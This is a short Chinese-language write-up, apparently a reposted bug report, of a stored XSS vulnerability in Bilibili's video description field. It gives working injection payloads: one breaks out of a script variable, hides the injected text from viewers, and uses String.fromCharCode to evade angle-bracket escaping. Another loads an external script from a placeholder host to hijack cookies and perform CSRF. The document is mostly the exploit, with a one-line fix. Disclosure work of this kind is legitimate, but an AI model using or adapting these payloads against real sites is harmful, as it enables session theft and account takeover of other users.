可劫持cookie 可csrf
在视频播放页面 查看 源码 往下翻 有这么一段
用户输入的内容包含在了脚本里
分别是标题简介之类的。。。由于简介内容允许输入的字符最多
于是我们在发布视频的简介里面构造代码
'};
先闭合掉前面的var p
然后清除简介里面的内容 防止别人起疑心
(s=$('.intro')[0]).innerText=s.innerText.substr(0,s.innerText.indexOf('\''));
最后添加恶意的js并且闭合后面(简介中的尖括号会被转换 稍微绕过一下)
$('.intro').append((a=String.fromCharCode)(60)+'script src=\'这里插入js地址\''+a(62));var p={a:'
POC:
'};(s=$('.intro')[0]).innerText=s.innerText.substr(0,s.innerText.indexOf('\''));$('.intro').append((a=String.fromCharCode)(60)+'script'+a(62)+'alert(1)'+a(60)+'/script'+a(62));var p={a:'
EXP:
'};(s=$('.intro')[0]).innerText=s.innerText.substr(0,s.innerText.indexOf('\''));$('.intro').append((a=String.fromCharCode)(60)+'script src=\'http://xxx测试数据/1.js\''+a(62));var p={a:'
尽量用短链 因为简介有长度限制
修复方案:
过滤呗 :)
查看更多关于哔哩哔哩弹幕网xss一枚(XSS分析与利用技巧) - 网的详细内容...